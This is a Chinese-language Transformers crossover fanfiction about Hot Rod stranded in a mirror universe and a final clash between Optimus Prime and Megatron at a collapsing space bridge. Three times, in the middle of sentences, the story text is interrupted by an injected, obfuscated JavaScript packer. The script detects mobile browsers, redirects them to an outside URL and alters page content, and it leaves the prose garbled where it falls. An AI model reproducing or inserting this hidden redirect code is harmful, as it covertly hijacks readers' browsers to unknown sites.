《[综英美/变形金刚]天灾的自救指南》 1. 镜子的背面 “威震天!” 剧烈的轰鸣声占据了白色战机的全部注意,他不得不让自己打起精神以迎接来自紫色暴君的又一轮攻击。 身后来自霸天虎和汽车人两方阵营的士兵们的哀鸣一刻不曾停歇,赛博坦星球的地表被他们彼此溅射出的能量液和残肢覆盖,发出令人作呕的腐败气息,然而没有人敢因为伤势停下手上的进攻。 这里是与正极宇宙截然相反的负极宇宙,在这里擎天柱不是博爱正义的领袖,威震天也不是那个独裁偏执的君主。 就像镜子的两面,所有的一切都是正极宇宙的反面,擎天柱是用尸体装饰走廊、试图通过恐怖行动摧毁所有人的残酷暴君,而威震天是领导抵抗队伍反抗汽车人霸权带来胜利希望的大英雄。 好吧这是有些过分“疯狂”了,但鉴于他们所在的这个世界就是他渣的一部正在上演的疯狂战争片,所以飞过山对此也不抱太多的奢求。 如果是三个循环,也就是三天前,他也许会说自己是疯了才会梦见威震天是个好人,但此时此刻,他们正处在战场的正中央,威震天的腹部装甲刚刚为了保护他硬接了擎天柱的一发炮击而冒出滚滚浓烟。 伤势报告不断地上传到他的CPU中告诉他这一切都是真实的,他真的因为意外穿越了宇宙来到了一个和他的宇宙完全相反的负极世界,这既不是霸天虎的什么邪恶洗脑计划,也不是他做的梦,而是无助的现实。 “所有人!进行掩护!”红蜘蛛的声音将他从恍惚中拽了出来,如果是正极宇宙,那么此时此刻红色的游击几乎就要从首席副官和空军指挥官升职成为霸天虎的新任领袖了——鉴于威震天本人此时正因为伤势过重陷入半昏迷状态。 霸天虎的增援小队在天空中盘旋,试图通过火力掩护他们受伤的首领突出包围,然而汽车人向着天空进行着覆盖式的轰炸,促使他们不得不抬升高度避免被击落。 没有击中目标的弹药又拐了弯落到地面上敌我不分地炸出漆黑的坑,汽车人刺耳的笑声中夹杂着狠毒的咒骂,飞过山从未有任何一刻如此想念自己宇宙。 “看来接下来就得靠咱们自己了。”没有时间管姿势的好看与否,几个霸天虎艰难地拖拽着威震天庞大的机体躲入掩体,飞过山从自己的子空间中取出了医疗箱。 “我真的没想到有一天我会说这句话,但感谢红蜘蛛,不然这帮混球就要蹭进来给我们一枪了。” 医疗刀切割开翻卷的装甲外壳,擎天柱的那一炮几乎将威震天的整个腹部装甲都穿透了,弹头刚好卡在最后一层装甲上,仅差分毫就会彻底贯穿威震天输送能量液的主要管道,飞过山暗自庆幸这伤还在他的处理范围之内,否则别说是返回自己的宇宙,他和这个宇宙的霸天虎怕不是今天晚上就要被擎天柱那个疯子做成挂件摆在汽车人大厅的柱子上。 身侧仅剩的几个霸天虎战士掩护着他们,飞过山拿着焊接枪尽量快速地处理着威震天的伤势。 炮火声不停,这处暂时的掩体抵挡不住汽车人的下次进攻,他们仅存的希望就是火力足以和擎天柱那个疯子媲美的威震天尽快苏醒。 能量液随着伤口的缝合停止流淌,飞过山感叹道:“还好我焊接的手艺还没退步,等我回去一定多给救护车带点儿能量块,在如何让士兵学会简易包扎方面他真的是个好医生,当然他各个方面都是。” 没时间给他再多感慨下自己焊接手艺的好坏,一个汽车人士兵已经用臂刃削掉了侧边防守的霸天虎战士的头颅趁机冲进了掩体。 “以及!”红色的跑车如同身后长了传感器一般一个侧移躲过了敌人致命的一击,轮胎迅速制动凭借一瞬间的摩擦力带动机体回旋挡住了汽车人士兵试图杀死威震天的攻击。 “你们攻击的方式!”手炮转换而出,飞过山毫不迟疑将武器插入敌人的胸口! “一如以往的没有新意!” “哈……”虚弱的机体置换声在这场惊险的“刺杀”结束时从他们的身后传来。 “记得提醒我……”白色的轰炸机缓缓睁开自己的光学镜,紧张的气氛陡然一松。 “让我们的霸天虎战士多向你和你们那边的救护车学两招。” 飞过山如释重负地看着白色的战机悠悠转醒,夹杂着能量液味道的废气从轰炸机的排气管排出,顾不上伤势的严重,威震天缓慢但坚定地顶着伤势站起了身。 “隔壁宇宙的汽车人有你这样优秀的战士相信你的领袖一定很高兴,当然,我是指你们的擎天柱。” 残存的人适时发出哄笑,飞过山试图附和这个笑话然而却笑不出来。 “好了,闲话就说到这里吧,”威震天收敛起脸上的笑意,顾不上刚刚焊接好的伤口,他不着痕迹地抹掉嘴角渗出的能量液,轻微地颤抖了两下,将全部精力再次投入了战斗。 “以及,我的朋友,别太担心,如果我和你那个宇宙的威震天真的有相似之处,那么一定是我们生命的顽强程度。” “擎天柱想让我彻底报废可还得再多费些功夫。” 他伸出手拉起地上一个力竭跌倒的霸天虎战士,此时这个威震天才让飞过山稍微摸到了些异世界同位体的味道,他哑然失笑,“你说了算,这个世界你说了算,威震天。” 伤势没有拖延威震天下达命令的速度,这架白色的战机在武器系统上线后迅速变形率先冲出了战壕,“所有人都有!准备突围!” “是!!!” 首领发出的信号迅速传达到了全军,这台严密的战争机器终于开始全速运行,将战场的所有情况都囊括其中,混乱的队伍再次组织起了有效的进攻。 游击者小队分散开来,占据天空的优势以及优越的机动性阻碍了汽车人向他们推进的攻势,趁着这一瞬间的拖延,威震天硬生生炸开了一条生路带领活下来的霸天虎跑出了擎天柱的包围圈。 飞过山迅速变形,红色的跑车扬起灰尘极速驶离了战场中央。 在他身后是擎天柱响彻战场的咆哮声。 紫色的暴君染着同胞的能量液和残肢从尸堆中如同地狱的恶鬼般站了起来。 “威震天!尽你所能继续逃吧!你知道这场猫捉老鼠的游戏总有结束的时候!”一个被他捏在手中的霸天虎战士被他活生生捏爆了脑袋,瞬间爆开的能量液溅射在了这位暴君全身而后者却漫不经心地舔掉嘴边的液体发出渗人的笑声。 被这恐怖的动静惊吓到,飞过山一边猛踩油门一边向着在后方掩护的威震天发出内线。 飞过山:「老天,我真的不想再看见那辆紫色的卡车了,我怀疑我回去都要对着大哥犯……额碳基的那个词叫什么来着,PTSD?哦,渣的,我真的要犯PTSD了。」 「为了防止我忘记,再来一遍,你说我们这次的任务是干什么?」 威震天:「阻挠擎天柱获得那批原生体。」 飞过山:「我以为赛博坦早就不再出生新的赛博坦人了,无意冒犯,但我的宇宙的确已经至少有几百万年不曾有新生命诞生了。」 威震天:「我们的也是。但战争不光让我们的人不断死亡,汽车人也在死亡,为了制造源源不断的人手和……武器,擎天柱让千斤顶和救护车制造了一批用于投入战争的原生体。」 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14492633|154766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 飞过山:「也就是说他们是……」 远处,飞过山已经能够看到那艘巨大的运输舰,透明的玻璃内是六个硕大无比的培养皿,其中影影绰绰浮现出人形的影子。 威震天:「是的。」 「他们是被制造出来的活体兵器。」 内线结束于擎天柱从侧面冲出来的撞击。 一辆卡车可能碰不着飞在天上的大飞机,但是一辆速度飚到180迈的紫色卡车腾空而起可以把威震天从天上直接撞下来。 “碰!” 巨大的撞击声响彻战场,与此同时还有来自暴君的咒骂和装甲碰撞发出的哀鸣,擎天柱的神色难掩亢奋,红色的光学镜中是难以遮掩的疯狂,在尘土飞扬的翻滚中他死死掐住威震天的脖子,“你逃不了威震天!” “你以为凭借这些残兵蟹将就能阻碍我征服的脚步吗?” “等我把你的脑袋镶嵌到熔炼炉的走廊上,我会让每个被投入炉子的人都去欣赏你死前的绝望和痛苦!” “擎天柱你这个疯猫!”身后的导弹发射,强大的冲击将骑在他身上的卡车狠狠掀飞。 趁着这一刻威震天大喊:“继续执行任务!” 顾不上陷入苦斗的首领,红蜘蛛迅速接过指挥权,与此同时霸天虎的情报官声波也适时插入到通讯频道,指引他们直奔目标。 存放原生体的飞船近在咫尺,已经有霸天虎战士凭借飞行单位的优势占据了飞船的制高点,但飞过山也没有错过那如同蝗虫一般从飞船底部不断向上爬的汽车人士兵。 “火种源在上!”飞过山驱车一跃而起砸掉一个汽车人的头登上了飞船的顶部,“虽然早有体验,但你们的世界真的太怪了!” “我知道!”一道奇怪的合成电子音从飞过山的通讯器传出,他认出这熟悉的声色,“声波?” “没错!但你要知道当我们得知有一个宇宙,也就是你的世界里汽车人才是为和平和自由而战的那一方时和你一样震惊!”声波欢快地说,飞过山曾经还对威震天描述这架白色的磁带机是霸天虎团队的开心果这一表述有些疑惑但此刻听着这乐观的声音,他得承认这的确减缓了他在战场亲手杀死这些顶着和他原本宇宙的朋友同一张脸的汽车人的内心压力。 “你们确定威震天可以对付得了那个疯了的紫色卡车吗!”飞过山一边阻挠脚下的追兵一边问道,“他看起来气得不轻!” “相信我,这批原生体和威震天在擎天柱眼里根本没有可比性,”声波笃定地说,“他一定会把‘和威震天对决’放在第一位。” “而我们的领袖是唯一一个能够和擎天柱的火力匹敌的机!” 声波的声音陡然一转:“右后方!坐标k79!” 飞过山毫不犹豫地听从声波的提醒一发子弹正好命中身后汽车人的胸口。 “干得好伙计!” “当然!” “以及你有没有考虑换一种载具形态?”一边向着飞船入口前进,飞过山一边和声波聊道。 通讯系统那头的情报官轻轻笑了两声,“也许等战争结束吧,但现在我想磁带机就已经很合适了。” “好了聊闲天就到此为止。”一直在上空盘旋的红蜘蛛落到了他们身侧,凭借他威力强大的氖射线枪他们轻而易举地进入到了飞船内部,将敌人隔绝在了外面。 “外面的霸天虎战士们最多能支持十分钟。”声波监测着外面的动静说道。 “十五分钟,”红蜘蛛掀开一道舱门,“惊天雷刚刚通知我游击者小队已经就位。” “时间足够了。” 2. 失败的诞生 飞船内部出乎意料的整洁,没有想象中的残肢断臂和四处飞溅的能量液,飞过山尽量控制着自己的脚步声,希望他们的闯入不会引来飞船内部更多埋伏的敌人。 他艳羡地看了一眼红蜘蛛,人形状态下飞行单位的推进器刚好帮助了他腾空,避免了发出声音。 「我本以为飞船内部要……」受不了这死一般的静寂和似乎永远也走不到头如同迷宫的走廊,飞过山在内线发送了信息,「血腥一些。」 红蜘蛛发出了一声低笑:「你完全可以用更严重一些的词语。」他善解人意地回复。 「他们的大部分飞船也的确如你想象的那样要更加恶心一些,但哪怕是汽车人制造出来的原生体也终究是原生体,脆弱性使得他们不得不提高储存环境的品质。」 随着最后那道密码门的开启,他们终于得以进入保存原生体舱的储存室。 “普莱姆斯在上,”随着门被他们从内部关上,飞过山长呼一口气,“潜入任务大成功。” “接下来就是……” 红色的跑车抬起头,看向那六只培养皿。 胶绿色的粘稠液体内漂浮着未被外装甲包裹的原生质机体,机骨的框架隐约能看出作为战斗单位的影子,没有扫描载具形态的几个新生命还保持着赛博坦人最原始的状态,手臂和腿部用于支撑的线路清晰可见。 赛博坦的生命本诞生于地表,由星球本身自然孕育,如今飞过山看着这些被制造出来的原生体久违感受到了何为碳基口中的“恐怖谷效应”。 从大小来看这六个胶囊内的新生命都是按照大型机的标准来建造的,哪怕是飞过山这样中小型机的身高此时也只能被这些沉睡中的新生命俯视。 红蜘蛛早已走上前将自身的数据线接到了胶囊前的光子电脑中,手指飞快地编码绕过汽车人的防火墙进入到了飞船的内部程序中。 “怎么样?可以更改启动程序吗?”声波在通讯器那头问道。 “不行,”这位一直保持着平静的指挥官的额头也渗出了冷凝液,屏幕上汽车人的反击接踵而至,他们攻入系统的一瞬间对方也已经察觉到了他们的位置,时间已经不多了,飞过山端起枪站在他身后将枪口对准了门口,汽车人的脚步声已经隐约可以听见。 “擎天柱给系统下了死命令!我无法覆盖指令!” “让我试试!”声波迅速地接过控制权,在基地中透过红蜘蛛的系统进行远程操控。 门口传来汽车人士兵的声音,在短暂的混乱噪音后,一阵更加刺耳的剐蹭声加倍传到了舱室内两个人的音频接收器内。 “他们开始用焊枪了!所以如果还有什么奇迹的话声波你最好快一点!”飞过山紧紧攥着手中的武器,冷凝液已经渗透了他的整个背部装甲。 “红蜘蛛你也许会喜欢这个好消息!”密密麻麻的代码在眼前飞过,声波突然发出一声惊呼,“千斤顶制造出来的这批原生体采用的是你之前被他偷走的AI内核!” 红蜘蛛再次微笑起来,而飞过山被他们俩的哑谜彻底搞糊涂了,“嘿伙计们不是我故意打扰气氛,但如果有什么结论我建议现在最好的办法就是实践!” 舱室的门摇摇欲坠,红蜘蛛和声波同时开始在键盘上输入指令,手指快得几乎出现了残影。 “这意味着我们可以扭转他的底层代码!让‘听从汽车人’的底层代码服务于优先级更高的‘加入霸天虎’!” “完成!” “干得漂亮!”威震天气喘吁吁的声音从他们的通讯器传出,夹杂着一两声痛呼,他询问道:“那么现在,红蜘蛛副官,虽然让这些原生体诞生于战争有悖我们霸天虎的原则,但我恐怕我们别无选择。” “惊天雷快撑不住了!”声波在另一头尖叫。 红色的游击者迅速按下启动键,然而系统却在一瞬间锁死,红色的“error”如同死神的镰刀宣判了他们的死刑。 这一变动让在场的机都陷入了凝滞,一股不详的预感迅速窜上心头。 “怎么会这样!”杂乱的敲击声,红蜘蛛第一次露出了慌张的神色,“声波!系统锁死了!” “我现在无法进行操控了!” “该死!一定是擎天柱设置了密锁!”声波那边敲击的声音不比这边稳定多少,突如其来的变故让所有人都不知所措。 “威震天领袖!”手上的动作不停,红蜘蛛迅速向威震天报告了情况,“擎天柱设置了生物密码,除了擎天柱本人,这些系统无法让原生体自动扫描载具模式并苏醒!” 飞过山拉过舱室内他所能移动的所有东西挡在了门前,希望这能给红蜘蛛争取一些时间。 一阵静默,就连声波也没了声音。 “那就毁掉他们!” 关键时刻,威震天的声音几乎是嘶吼着从通讯器中传了出来,红蜘蛛还有些犹豫,这些未曾诞生的原生体虽然被制造出来就是为了被投入战争,可是没有生命也不应该有生命出生就是为了迎接死亡。 “我们不能冒这个险,赛博坦……”威震天哽咽着,“这不是一个简单的决定,可是为了还活着的那些人,为了赛博坦,我们不能冒这个险。” 飞过山握紧了手中的枪,这就是战争,他们面对的不是杀死一个人可以拯救一百个人的局面,而是杀死一个人和杀死五个人的电车难题。 虽然并未细看,但刚刚的短暂扫视也让他看见了这六个培养舱上标明的“组合金刚”的字样,汽车人的机械恐龙已经给霸天虎本就不占优势的局势造成了很大的影响,如果是组合金刚加入战场…… 他保持了和其他人一样的沉默。 威震天没有再说话,但通讯器中依然传出战场嘈杂的炮火声。 最终红蜘蛛垂下了自己的机翼,“你说得对威震天领袖,我们经受不起更多的损失了。” 他得为自己战士们的生命负责。 “我很抱歉。” 通讯器的背景音中传来擎天柱暴躁的嘶吼:“你竟敢在和我的战斗中走神!”随即威震天的通讯回到了静默。 在下线前,他发送了最后一段信息到红蜘蛛的内线。 “飞过山,麻烦你再坚持一会儿,”红蜘蛛迅速调整好了状态再度恢复了沉稳,“我无法让他们开机,虽然系统锁死,但感谢声波,通过植入的程序我可以控制他们的核心扭转他们的正负极。” 飞过山微微侧头,虽然早有了解,但还是会被不同世界的差异惊讶到——负极世界的变形金刚胸口中的生命之源布满了负极电子,他们将其称之为余烬,但在飞过山的宇宙,变形金刚体内是充满了正电子的火种。 红蜘蛛目前所进行的操作也就是将这些原生体体内的负电子转变为正电子,由余烬转换为火种,这样的话他们本身属于负极宇宙的机体就会和体内转变为正电子的火种产生排斥反应,进而自爆。 “完成!”随着最后一个按键的落下红蜘蛛一拳砸碎了操作台,屏幕上余烬转变的进度条依然在缓慢增长着。 也就在此刻,那扇门终于被汽车人士兵们砸碎。 “我们走!” “再见了,losers!吃我们的尾气吧!”飞过山抓住红蜘蛛的机翼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14492634|154766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,徒留下一地暴怒的汽车人士兵。 威震天也在任务完成的一瞬下达了撤退的指令,一群飞机浮在半空中远离了战场,一些伤员也如同飞过山一般被自己的同伴们妥善地放置在自己的机身上逃离了汽车人的围追堵截。 几乎就在他们脱离战场的一瞬间,一股气浪翻滚而来,差点将飞过山吹下红蜘蛛的尾翼。 巨大的轰鸣声引得他回过头,只见刚刚那艘承载着六个原生体培养舱的飞船已经悄然自动起飞,冲向了天空中那个不知何时打开通向未知地带的黑洞。 “那是……?”飞过山发出疑惑。 “那是威震天领袖最后时刻发给我的计算结果,”红色的战机回答道,“我们也许的确无法让他们在这个宇宙苏醒,但是如果你身上新的能量和放射信号真的代表着一种新的能量矩阵,那么这个黑洞就能够将他们带到一个新的正极宇宙,机体会被黑洞中携带的能量转化,火种也就能够和机体共存。” 飞过山没有第一时间想到这也可能是他回家的路,他惊喜地睁大了眼睛,“也就是说!” “是的!”声波的声音从他的通讯器中传出来,“这就代表他们有可能从这次危机中活下来!” “我很抱歉,”威震天靠近他们,将身后汽车人和擎天柱的怒吼都甩在身后,“这本该是你回家的机会,但是计算结果过于仓促,我只能确认黑洞通向一个正极宇宙但是却无法保证它一定能带你回到你的那个宇宙。”这位温文尔雅的白色大飞机的机翼被擎天柱撅折了一半如今只能勉强保持平衡,更别提已经彻底断裂的炮口。 而飞过山知道擎天柱一定在他手上也没讨到好处。 “嘿,你能计算出来一次就说明还能成功第二次!虽然这个世界怪到了极点,但我想我还能再多帮你们揍几个汽车人!” “渣的,这么说真怪,”红色的小汽车挠了挠脑袋,“但上次我说的话还算数,我愿意加入你们的一方!” “以及我的回答也没有改变,”威震天笑道,“我们随时欢迎你的加入。” “这是一次险胜,”红蜘蛛说,“我希望在那个宇宙他们能够被人平安唤醒,而那个宇宙不会让他们作为兵器投入所谓的战争之中。” 毕竟哪怕还未苏醒,这些原生体的机体也是为了高强度的战斗所铸造出来的活着的战争机器,而所有人都知道,被制造出来的原生体除了机体的生长速度和自然诞生的幼生体不同外,其他的基本没有差别 。他们的CPU都需要一个成长的过程,在CPU吸纳足够多的知识完成自我升级前他们都是遵从底层代码和基本生存模块的指导进行活动的孩子,而假如正极世界有人刻意在这个阶段去模糊他们的认知,烙印错误的痕迹进去,他们就会是最好的帮凶。 这不怪红蜘蛛为此忧心忡忡。 “嘿,为何不往好的一方面想,”声波插话道,“我觉得这些小余烬,哦!现在我该叫他们小火种了!我觉得这些小火种就格外的幸运!” “他们有生存的希望!” “是啊声波,”威震天叹了口气,“生存的希望。” “这是最宝贵的东西。” “额,让我们都乐观一点儿,”飞过山耸了耸肩,“如果是正极的世界,我相信大哥一定不会让他们落入坏人手里的。” “当然,我是指我们那边的擎天柱和威震天。” 他身侧的霸天虎都因为这个笑了出来,一些战场的阴郁戛然而止。 于此同时,在另一个世界,一场爆炸正在发生。 “不!!!” “轰!!!!!” 3. 新的世界 另一宇宙内,一场爆炸正在发生。 剧烈的冲击波几乎将空间内存在的一切物质荡平,碎裂的机械裹挟着巨大的能量足以毁灭任何存在于此的生物,一架银色的战机反而在混乱中冲向了爆炸的中心。 战机的身后是暗淡残破的赛博坦,这颗曾经孕育出无数硅基生命的机械星球早已失去了金色的光芒,散发出无法掩盖的死亡气息,汽车人与霸天虎两方派系在他们母星上的战斗已经彻底摧毁了他。 残留的城市遗骸和赛博坦人的尸体交错,累成山的废料和浑浊的空气成为了他们留给这颗破碎星球最后的遗物。 地表下涌动的能量液早在几千年前就全然枯竭,植物、动物……这颗硅基生命的天堂早已沦为地狱,普莱姆斯,就连这颗星球本身都已自身难保,创世神被自己的造物所害,陷入了无尽的长眠。 锂平原上奔跑的机械鹿、天空飞翔的机器鸟、荒野上的涡轮狐狸和石油兔子…… 最后哪怕是最残忍的霸天虎也不得不承认…… 赛博坦人已经亲手抹杀了他们母星的最后一丝生机。 也亲手抹杀了自己的存在。 能够为赛博坦孕育生命的火种源在战争中不知所踪,记载着赛博坦全部历史的图书馆被夷为平地,他们的科学家死伤殆尽,他们的智慧无人知晓,旷日的战争绵连不断,最后存活的汽车人在霸天虎疯狂的围剿下不得不离开他们的母星以寻求最后生存的希望。 汽车人最后的堡垒中,方舟号已经预热,这艘巨大的航行舰已经做好了准备搭乘汽车人反抗军的中坚力量飞向未知的宇宙,而不幸的是,追军近在眼前,霸天虎的首领刚刚下达了格杀勿论的命令。 方舟号面前,一座巨大而宏伟的圆形太空桥坐落在堡垒之中,作为传送工具,装置的中心一头连接着赛博坦,另一头则连接着未知,凭借这座太空桥,汽车人便可以轻而易举地完成两颗相距甚远的星球之间的转移——也帮助他们逃离他们的母星。 残存的汽车人战士顾不上身后疾驰的炮火,搀着负伤的人员迅速躲入飞船内的掩体中。 背景音中是遮天蔽日的霸天虎飞行战队轰炸的前奏,更让他们感到恐惧的是来自霸天虎君主引擎的轰鸣。 破坏大帝暴怒异常,一边指责着汽车人的领袖“临阵脱逃”一边死咬着方舟号不放。 他全然不顾下面混战的战场上还有己方阵营的士兵,塞伯坦大型战机呼啸而过,仅仅是导弹爆炸的气浪就将离得近的士兵瞬间蒸发。 在他攻击范围内的两方阵营的士兵都不得不以此生最快的速度逃出这片危险区域。 幸存的汽车人三三两两的聚集在底层的舱室,祈祷着平安。 威震天的“报复”还在继续,一架暴怒中的大型战机的火力足以彻底断绝方舟号升空的希望。 一辆黑白相间的跑车在此时穿过走廊中随地而坐的伤兵,走到坐在指挥位的红蓝相间的卡车前。他身后的门翼在战斗中已经尽数折断,手臂上也流淌出蓝色的能量液,疼痛没有让这位汽车人的副官退缩,他仿佛不知道疼痛一般平静地向擎天柱报告。 “擎天柱,如果威震天继续这样发了疯一样的进攻,方舟号撑不到起飞的时候,他刚刚击碎了我们的一门量子引擎。” 他尽可能简短地叙述,希望能找到更好的对策以解决他们的燃眉之急。 他的长官身上同样不好看,和威震天对垒的伤势让领袖不得不支撑着座位才能站起身,湛蓝色的光学镜一一扫过副官和其他汽车人的面具,无限的愁绪和悲伤几乎要从擎天柱的身上满溢而出,但他只是坚定地走出了舰桥。 “他要的是我,我去引开他。” “我离开后就立即关闭所有出入口,立刻准备跃迁。” “可是领袖!”副官紧跟着他,疼痛也没能让他产生一丝波动的脸上露出一丝慌乱,他还想劝阻,然而随着领袖的话语,比他情绪更激动的还有领袖的随行医官——救护车,这位从内战起始就一直跟着领袖的医生擦掉满身的脏污和手上沾着的伤员的能量液,尽管腿部的装甲已经发出不妙的响声,他依然不管不顾撞开了所有人冲到了领袖眼前。 “听着擎天柱,我知道你想要让大部分汽车人得以逃脱,但是这不能是以你为代价!” “你很清楚失去了领袖的汽车人在霸天虎的追击下根本坚持不了多久!” “不,”领袖已经三天没有闭上的光学镜柔和地看向医官,“他们会跟随威震天,来追击我。” 领袖十分清楚从始至终自己才是威震天报复的对象,如果他制造出落单的假象,不需要任何计谋,威震天就会率领霸天虎的大部分军力来追击他。 与此同时汽车人的大部队就能够得到喘息,方舟号会平安起飞,他们的反抗力量会得以保存,所有人都会活下来。 除了领袖。 救护车还在试图改变领袖的决定,但副官没有再说什么了,他们的领袖一旦打定了主意就不会轻易更改,他唯一寄托的希望就是此时他正在给其他三位副官发送的内线,希望四位副官的存在能阻止领袖的自杀行径。 然而时间不等人,方舟号已经在威震天的炮火攻击下冒出了滚滚浓烟。 领袖不愿意再耽误时间,登上了飞船的独立战斗舰。 让擎天柱怔愣的是救护车也一起登上了他的攻击舰。 “你知道,擎天柱,你不会那么轻易甩掉我,作为你的医官和老朋友,我不会放任你一个人去送死。” “如果霸天虎想要杀掉你,至少也得从我的手术刀上过去。” 医官脸上的神情显然也是不容辩驳的,于是领袖只好让他留在了自己身边。 “警车,我出去后方舟号所有的指挥权交由通天晓负责,如果一切顺利,我们会在宇宙的另一端相遇。” 警车抿了抿嘴,沉默地点了点头,在他身后是收到信息急忙赶过来却依旧晚了一步的其他三位副官,每个机子身上都是硝烟的味道。 听到领袖的话语,另一架黑白相间但带着蓝色护目镜的跑车笑着试图缓和目前低沉的气氛,“那可真是一项艰巨的任务,老大。” “你知道的,通天晓一向看不惯我。” 和另外两位不同,通天晓和天火很清楚目前的情况已经不允许领袖再去花费时间思索其他的解决方案,是赌领袖的生存概率,还是压威震天杀不死这些躲在方舟号的幸存的汽车人,这根本不是一个选项。 他们最终只是点了点头接下了领袖最后的命令,默默看着擎天柱合上了舱门。 “而我知道你们会没事的,我最好的战士们。” 随着领袖最后一句话的落下,战舰弹出,果不其然在威震天意识到擎天柱出现后,这位暴君立刻将战争的矛头指向了领袖。 方舟号内,通天晓接下了指挥权,方舟号剩下的三门的引擎迅速点燃,系统点亮,全功率冲入了太空桥蓝色的漩涡中。 “一路保重,长官。”通天晓站在破损的舰桥前最后看了一眼已经缩成了一个小点儿的领袖搭乘的舰船。 方舟号如计划没入太空桥,领袖一直悬着的心终于放下了一半,他身后是如蝗虫一般紧追不舍的霸天虎大军。 此时赛博坦五分之四的土地已经被霸天虎占领,余下的城市在汽车人彻底撤离后也会属于威震天所有,胜利已经毋庸置疑,然而,领袖回头看了一眼跟在他身后的狰狞战机。 “威震天放弃了赛博坦的统治权。” 威震天却放弃了唾手可得的成果,死死咬在他的身后。 “哈,那个疯子才不在意什么赛博坦的统治权,如果把一切炸成废墟也叫作统治的话。”救护车翻了个白眼,转而眼神复杂地盯着领袖。 “他只想征服你。” “他只是让愤怒冲昏了脑子。” 擎天柱不愿深究,他只是疲惫,“他在错误的路上走得太远了。” “我们都是。” 赛博坦的荒凉不断地在领袖的处理器中出现,在这个相对私密的空间,在自己的老朋友面前,领袖终于撕开那层外壳袒露自己的不安。 “领导模块也已经很久不曾给予我启示……救护车,我已经不再知晓我们现在所做的是否真的是在拯救塞伯坦。” 救护车:“而我们所能做的就是把这条路走下去。” 战斗舰在说话间躲过身后的一波攻势,随着他们的操作,飞船在锈蚀山前猛地抬升,机动性没有威震天和seekers小队好的飞行单位来不及转向,在山底纷纷坠毁。 爆炸夹杂着赛博坦人的碎片,惨叫声透过他们的音频处理器传达到他们的脑模块,救护车对自己的麻木已经没了一开始的纠结和自我厌恶。 他将领袖从自己的情绪中拽出来,“而我们都知道这不是你的错。” 擎天柱没有再说话,战舰后,威震天怒吼着,“懦夫!擎天柱!你变得软弱了,普莱姆斯选择的领袖就只有这点胆魄吗,只会躲在庇护所中,这就是领导模块给予你的启示吗领袖?” “别听他胡诌擎天柱!”救护车气得咬牙。 领袖在此时打开了飞船的对外广播,沉着的声音透过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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作为这群霸天虎中唯一懂得太空桥技术的机,红蜘蛛不可能眼看着爆炸在即,带着他全部的seekers跟着已经陷入疯狂的君主陪葬。 “现在进去无疑送死!”红蜘蛛几乎在他的猩红光学镜下畏缩,但是看到他们身后不断减员的飞行部队,他不得不硬着头皮继续阻拦在威震天面前。 他已经开始后悔自己在威震天暴怒的时候向他进言了。 该死的,他就说威震天这个炉渣对汽车人领袖不正常的迷恋迟早害死他们所有人! 而威震天在这时候一字一顿命令道:“我说,执行我的命令。” 其中散发的寒意让他身侧所有的亲兵都恐惧得后退。 一瞬间各种恐惧涌出,红蜘蛛甚至没有意识到自己已经给陷入癫狂的首领让开了路线。 再没有人敢拦在他眼前。 威震天率先冲进了摇摇欲坠的太空桥。 然而一阵眩晕,等他回过神,太空桥的另一侧哪里还有什么汽车人领袖的影子。 刚刚的爆炸足以让一开始的坐标产生随机的偏移。 威震天发出令人胆寒的嘶吼,他还试图穿过正在溃散的太空桥回到赛博坦,然而就在这时,一发炮弹在赛博坦一侧不偏不倚再次击中太空桥! 这最后一根稻草的落下使得太空桥彻底崩溃了,还停留在太空桥传送途中的威震天立刻被卷入了爆炸! 能量池被引爆,巨大的漩涡几乎将周边所有的士兵都卷入其中,就连还残存着的塞伯坦建筑遗骸也在毁天灭地般的爆炸中被彻底粉碎,彻底宣告了霸天虎这次战役的失败。 没有任何人能从这种级别的能量爆炸中活下来。 哪怕他是威震天。 在高空,红白色的游击带领着残存的霸天虎飞行部队俯视着脚底下冒出的滚滚浓烟。 seeker的炮孔中还散发着淡淡的硝烟,刚刚那一发导弹就是他在威震天冲进太空桥后发射的,红蜘蛛厌恶地看着脚底哀嚎着逃离地狱的地面单位们,装模作样地等待了一会儿霸天虎首领的生命讯号。 随着蓝色的冲击波悄然穿越云层,象征威震天的那条火种频率也在系统中归于平静。 忍不住心底的窃喜,哪怕明知身后的seeker小队不可能背叛自己,红蜘蛛依然装作悲伤的样子宣布了威震天已死的消息。 没有人注意到一艘黏贴着紫色汽车人标志的破损飞船在漫天的机械碎屑中突然出现又被爆炸的余波卷向未知的宇宙。 4. 新的开始 擎天柱所乘坐的战舰上,救护车惊魂未定,他不敢相信自己和领袖竟然真的从那样的危机中活下来了。 然而处理器中不断蹦出的机体各处损伤的报告真切提醒着他,他们的确还没有回归普莱姆斯的怀抱。 良久他才在重启几遍系统后勉强找回自己的逻辑模块。 回过神后,这位尽职的医官先一步注意到了领袖身上大面积的挫伤和金属烧伤,“来吧领袖,让我修复一下你身上的伤。” 